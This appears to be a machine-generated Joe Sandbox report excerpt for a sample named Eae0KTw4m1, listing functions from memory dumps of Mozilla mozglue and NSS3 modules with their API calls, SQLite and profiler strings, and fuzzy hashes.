Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: _byteswap_ulong
String ID: 3333$UUUU
API String ID: 4101233201-2679824526
Opcode ID: 3b9550d640c582fa51c17fb080d4393e652a6de6ff96073aa5dd5251923233f3
Instruction ID: 6dae2010d4165024bd6f31b01b781d257f45bd5e7139097f77445f5de3022d13
Opcode Fuzzy Hash: 3b9550d640c582fa51c17fb080d4393e652a6de6ff96073aa5dd5251923233f3
Instruction Fuzzy Hash: 84A19D72E001159BDB04CF69CD84BAEB7B5AB98328F094139E915B7341E736AC51CBE0

Function 6C612C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C612C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C612C61

Part of subcall function 6C5C4DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C5C4E5A
Part of subcall function 6C5C4DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C5C4E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C612C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C612E2D

Part of subcall function 6C5D81B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C5D81DE

Strings

(root), xrefs: 6C61354F
expected a Time entry, xrefs: 6C612E36
ProfileBuffer parse error: %s, xrefs: 6C612E3B

Memory Dump Source

Source File: 00000000.00000002.1856125987.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.1856100158.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1856188128.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1856217959.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1856238572.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_Eae0KTw4m1.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: 7e2c683ac84060e410ac967c37e22c7346d5a6e405e6c22712da82db19b200dd
Instruction ID: ef2dcc30d764560abbf90830df5afec3147ae580a629a40c88572276322aab08
Opcode Fuzzy Hash: 7e2c683ac84060e410ac967c37e22c7346d5a6e405e6c22712da82db19b200dd
Instruction Fuzzy Hash: 0191A0B060C7418FD724DF28C48469EB7E1AFCA358F50892DE59A8BB50DB30D949CB5A

Function 6C7768E0 Relevance: 12.2, APIs: 8, Instructions: 241COMMON

Download Yara Rule

APIs

PR_GetIdentitiesLayer.NSS3 ref: 6C7768FC
PR_EnterMonitor.NSS3 ref: 6C776924

Part of subcall function 6C7A9090: TlsGetValue.KERNEL32 ref: 6C7A90AB
Part of subcall function 6C7A9090: TlsGetValue.KERNEL32 ref: 6C7A90C9
Part of subcall function 6C7A9090: EnterCriticalSection.KERNEL32 ref: 6C7A90E5
Part of subcall function 6C7A9090: TlsGetValue.KERNEL32 ref: 6C7A9116
Part of subcall function 6C7A9090: LeaveCriticalSection.KERNEL32 ref: 6C7A913F

Part of subcall function 6C6D07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C66204A), ref: 6C6D07AD
Part of subcall function 6C6D07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C66204A), ref: 6C6D07CD
Part of subcall function 6C6D07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C66204A), ref: 6C6D07D6
Part of subcall function 6C6D07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C66204A), ref: 6C6D07E4
Part of subcall function 6C6D07A0: TlsSetValue.KERNEL32(00000000,?,6C66204A), ref: 6C6D0864
Part of subcall function 6C6D07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C6D0880
Part of subcall function 6C6D07A0: TlsSetValue.KERNEL32(00000000,?,?,6C66204A), ref: 6C6D08CB
Part of subcall function 6C6D07A0: TlsGetValue.KERNEL32(?,?,6C66204A), ref: 6C6D08D7
Part of subcall function 6C6D07A0: TlsGetValue.KERNEL32(?,?,6C66204A), ref: 6C6D08FB

PR_EnterMonitor.NSS3 ref: 6C77693E
TlsGetValue.KERNEL32 ref: 6C776977
TlsGetValue.KERNEL32 ref: 6C7769B8
PR_ExitMonitor.NSS3 ref: 6C776B1E
PR_ExitMonitor.NSS3 ref: 6C776B39
TlsGetValue.KERNEL32 ref: 6C776B62

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: Value$Monitor$Enter$CriticalExitSectioncalloc$IdentitiesLayerLeave
String ID:
API String ID: 4003455268-0
Opcode ID: bf3d0ecc77c89b5d700c62a84dee34ad9cd645cff8cd033d62aa5540ecbb669b
Instruction ID: 260d24a60b573f9798ff17c1e6f648d43adbb8c2b8a3708f5300579352b3156a
Opcode Fuzzy Hash: bf3d0ecc77c89b5d700c62a84dee34ad9cd645cff8cd033d62aa5540ecbb669b
Instruction Fuzzy Hash: 6F915F74658104CBDF60EF2DC68095E7BA2FB87308B718669C844CFA2DD775DA42CBA1

Function 6C67EFB0 Relevance: 12.1, Strings: 9, Instructions: 815COMMON

Download Yara Rule

Strings

%s %T already exists, xrefs: 6C67FAC8
sqlite_master, xrefs: 6C67F0AB, 6C67F2DA, 6C67F757, 6C67F93E
view, xrefs: 6C67F061, 6C67F071, 6C67FAB7
not authorized, xrefs: 6C67F957, 6C67F9BA
authorizer malfunction, xrefs: 6C67F95C, 6C67F9BF, 6C67FA5E, 6C67FA8B
temporary table name must be unqualified, xrefs: 6C67F734
sqlite_temp_master, xrefs: 6C67F0A6, 6C67F2D5
table, xrefs: 6C67F05C, 6C67FABC, 6C67FAC7
there is already an index named %s, xrefs: 6C67F9D7

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: %s %T already exists$authorizer malfunction$not authorized$sqlite_master$sqlite_temp_master$table$temporary table name must be unqualified$there is already an index named %s$view
API String ID: 3168844106-1126224928
Opcode ID: 77b0db550c90938590a4f8cd62ec905ec992303b89655e589c59e297500b1897
Instruction ID: 5bc2feaa2e5800a73827fed911c18735e4b67a40d608664c1640779f23da2162
Opcode Fuzzy Hash: 77b0db550c90938590a4f8cd62ec905ec992303b89655e589c59e297500b1897
Instruction Fuzzy Hash: 3E72A070E04205CFDB24CF68C484BAABBF1BF49308F1486ADD8159BB52D775E846CBA5

Function 6C63545C Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C638A4B

Strings

~q\l, xrefs: 6C63921F, 6C635703, 6C6356C7, 6C635740, 6C639269, 6C639459, 6C63948F

Memory Dump Source

Source File: 00000000.00000002.1856125987.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.1856100158.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1856188128.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1856217959.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1856238572.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_Eae0KTw4m1.jbxd

Similarity

API ID: memset
String ID: ~q\l
API String ID: 2221118986-2912761343
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: 23e043e57dc217da980821c20eb9e39ac25a4ca704f9ada4a9d1895217c2ff4a
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: C3B1D572A0422A8FDB14CE68CC907D9B7B2EF85314F1822AAC54DDB791D730A985CB94

Function 6C63542B Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C6388F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C63925C

Strings

~q\l, xrefs: 6C63921F, 6C635703, 6C6356C7, 6C635740, 6C639269, 6C639459, 6C63948F

Memory Dump Source

Source File: 00000000.00000002.1856125987.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.1856100158.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1856188128.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1856217959.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1856238572.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_Eae0KTw4m1.jbxd

Similarity

API ID: memset
String ID: ~q\l
API String ID: 2221118986-2912761343
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: 0a84fddbd78b354d0c553af492b182b6f2fc5916700281fe00f5931bf5ec5a11
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: 2BB1D672E0421ACFDB14CF58CC816EDB7B2EF85314F14126AC949EB795D730A989CB94

Function 6C7AAC62 Relevance: 9.1, APIs: 6, Instructions: 73COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,?), ref: 6C7AAC6E
memset.VCRUNTIME140(?,00000000,00000003,00000017,?), ref: 6C7AAC93
memset.VCRUNTIME140(?,00000000,00000050,?,00000017,?), ref: 6C7AAD1D
IsDebuggerPresent.KERNEL32(?,?,?,?,00000017,?), ref: 6C7AAD39
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,00000017,?), ref: 6C7AAD59
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,00000017,?), ref: 6C7AAD63

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandledmemset$DebuggerFeatureProcessor
String ID:
API String ID: 1045392073-0
Opcode ID: 52d6b3de88426c307b27caa89d92044f711ff718f274f2230df27a6fdacf8128
Instruction ID: cfb3a5bf600d18691b6df1796758f2adee1f7709004fc82b56076ab1394affe3
Opcode Fuzzy Hash: 52d6b3de88426c307b27caa89d92044f711ff718f274f2230df27a6fdacf8128
Instruction Fuzzy Hash: D031FA75D4521D9BEF21DFA5CA8D7CCBBB8AF08704F1041AAE40CAB250EB715A85CF45

Function 6C6C0820 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 1448COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(00000000,00000001,00000001), ref: 6C6C11D2

Strings

rows deleted, xrefs: 6C6C17D2
@, xrefs: 6C6C0B17
authorizer malfunction, xrefs: 6C6C1BD2
not authorized, xrefs: 6C6C175E, 6C6C1763

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: memset
String ID: @$authorizer malfunction$not authorized$rows deleted
API String ID: 2221118986-4041583037
Opcode ID: d17c8cbed160b3a9b2def8c6f10384eb080594f4c1c87bd24f29b7a90f2abc11
Instruction ID: 451ec135a1536e318401a31aca2ea49c27b7f6b0fb3045b2a34f20e426f783f6
Opcode Fuzzy Hash: d17c8cbed160b3a9b2def8c6f10384eb080594f4c1c87bd24f29b7a90f2abc11
Instruction Fuzzy Hash: D0D299B0E04249DFDB14CFA9C484B99BBF2FF49308F248269D419ABB51D731E856CB85

Function 6C7FCDC0 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 423stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C7FD086
PR_Malloc.NSS3(00000001), ref: 6C7FD0B9
PR_Free.NSS3(?), ref: 6C7FD138

Strings

>, xrefs: 6C7FCF5B

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: FreeMallocstrlen
String ID: >
API String ID: 1782319670-325317158
Opcode ID: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction ID: bad61377ace01b752319316e472b51f0210202d9d9e1c0294a2629f151eb27dd
Opcode Fuzzy Hash: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction Fuzzy Hash: 95D19A22B446464BFB244C7C8EE13EAB79387A33B5F684339D1318BBE5E6198843D305

Function 6C79AD50 Relevance: 6.4, APIs: 4, Instructions: 389COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8a61f83e1fe691f764900a066b30eea57bba6571c8e6096199bce616bac73a55
Instruction ID: c5644f17dfbb0e6a4afef43acb5f3abae060b24d33effe74f091340451b084c9
Opcode Fuzzy Hash: 8a61f83e1fe691f764900a066b30eea57bba6571c8e6096199bce616bac73a55
Instruction Fuzzy Hash: 52F1DC71E012258BEB34CFA8EA503A977B0BB8A30CF15963DC909D7B50E774A951CBC0

Function 6C750E20 Relevance: 6.3, APIs: 2, Strings: 2, Instructions: 279COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,00000000,00000000,00000000), ref: 6C751052
memset.VCRUNTIME140(-0000001C,?,?,00000000), ref: 6C751086

Strings

h(ul, xrefs: 6C750E55, 6C750EC4, 6C750F3A, 6C750FA7
h(ul, xrefs: 6C751062, 6C75105D, 6C750F37, 6C751081, 6C751082

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: memcpymemset
String ID: h(ul$h(ul
API String ID: 1297977491-8822764
Opcode ID: 30f783f81abe4f44bcf8994661ac9a97490e65421c9db50265b96c51d645aa37
Instruction ID: 0fa07fc837d7f206c5f579035f30085b006ad1aa0cb74d498979c1ab089a9ea6
Opcode Fuzzy Hash: 30f783f81abe4f44bcf8994661ac9a97490e65421c9db50265b96c51d645aa37
Instruction Fuzzy Hash: 89A16071B0124A9FDF08DF99C994AEEB7B6BF88318B548139E904A7700DB35EC11CB90

Function 6C676F10 Relevance: 5.2, Strings: 4, Instructions: 218COMMON

Download Yara Rule

Strings

noskipscan*, xrefs: 6C677067
sz=[0-9]*, xrefs: 6C677049
unordered*, xrefs: 6C67702B
*?[, xrefs: 6C677034, 6C677052, 6C677070

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID:
String ID: *?[$noskipscan*$sz=[0-9]*$unordered*
API String ID: 0-3485574213
Opcode ID: cf5d0af1b26de977df2774054437d52ef3fdcea87b80e521b6687ca5e3f6cc3a
Instruction ID: 0c979901b6bc198d50ca1576f2a70533d6f805ea9eca7d89c755d295dfe6ebff
Opcode Fuzzy Hash: cf5d0af1b26de977df2774054437d52ef3fdcea87b80e521b6687ca5e3f6cc3a
Instruction Fuzzy Hash: 9D717C72F102154BDB318E6DC8803DA7392DF81318F290A39CD59ABBD1D6759C46C7E9

Function 6C606CF0 Relevance: 4.7, APIs: 3, Instructions: 231COMMON

Download Yara Rule

APIs

InitializeConditionVariable.KERNEL32(?), ref: 6C606D45
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C606E1E

Memory Dump Source

Source File: 00000000.00000002.1856125987.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.1856100158.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1856188128.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1856217959.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1856238572.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_Eae0KTw4m1.jbxd

Similarity

API ID: ConditionExclusiveInitializeLockReleaseVariable
String ID:
API String ID: 4169067295-0
Opcode ID: 9a5322796db00c5436d4d71ef8217100cbea9abd617bdd2e7fdec6a9f97f10ff
Instruction ID: 6f1aada7e48c7730b00fd70403c2b65579dce0f29b24559aed90b62e0cae2127
Opcode Fuzzy Hash: 9a5322796db00c5436d4d71ef8217100cbea9abd617bdd2e7fdec6a9f97f10ff
Instruction Fuzzy Hash: F7A180706183818FC719CF25C5907AEFBE2BF89308F44491DE88A97B51DB70E849CB96

Function 6C70EE70 Relevance: 3.2, APIs: 2, Instructions: 223COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C70F019
PK11_GenerateRandom.NSS3(?,00000000), ref: 6C70F0F9

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: ErrorGenerateK11_Random
String ID:
API String ID: 3009229198-0
Opcode ID: f28674b34aa5c963032b75bc96fe7a21ab5569db4e47a29f8ddf8cc7e5d013c4
Instruction ID: 3856b4e70c8a7675578320dc74e8ac0b48a41337c1aabe0399a3536c57d33ff1
Opcode Fuzzy Hash: f28674b34aa5c963032b75bc96fe7a21ab5569db4e47a29f8ddf8cc7e5d013c4
Instruction Fuzzy Hash: 6F91AFB1B0161A8BCB14CF68C9906AEB7F1FF85324F24472DD962A7BC1D730A905CB50

Function 6C732F70 Relevance: 3.1, APIs: 2, Instructions: 149COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE09A,00000000,00000000,?,6C757929), ref: 6C732FAC
PR_SetError.NSS3(FFFFE040,00000000,00000000,?,6C757929), ref: 6C732FE0

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: Error
String ID:
API String ID: 2619118453-0
Opcode ID: 3428f47d3df5d1dbfbd7c558c6648c7579c04968f9c330d2a52231358d6ce4cb
Instruction ID: e60c5f7a98e795597e670abf27c657662b0b03f6e70500e8f82817b377b8483c
Opcode Fuzzy Hash: 3428f47d3df5d1dbfbd7c558c6648c7579c04968f9c330d2a52231358d6ce4cb
Instruction Fuzzy Hash: A3510471A049318FD7208E55CA84B6A73B2EB45328F296279D90D9BB03C739E847CBC1

Function 6C67AC60 Relevance: 2.7, Strings: 2, Instructions: 181COMMON

Download Yara Rule

Strings

winUnlockReadLock, xrefs: 6C67AE9F
winUnlock, xrefs: 6C67AE18

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID:
String ID: winUnlock$winUnlockReadLock
API String ID: 0-3432436631
Opcode ID: 27c4d14721273270e01d52c8344501a569315009c8f65675a1dfa127b9c1c101
Instruction ID: a4e623daad83fda29e03b6ad775e3ce8d2e725f5e64d2dd3f503dbd74a053caf
Opcode Fuzzy Hash: 27c4d14721273270e01d52c8344501a569315009c8f65675a1dfa127b9c1c101
Instruction Fuzzy Hash: 3E7193716082409BDB24DF24D884AABB7F5FF89318F14DA28F94997241E730ED85CBD5

Function 6C73ED70 Relevance: 1.7, APIs: 1, Instructions: 217memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C), ref: 6C73EE3D

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
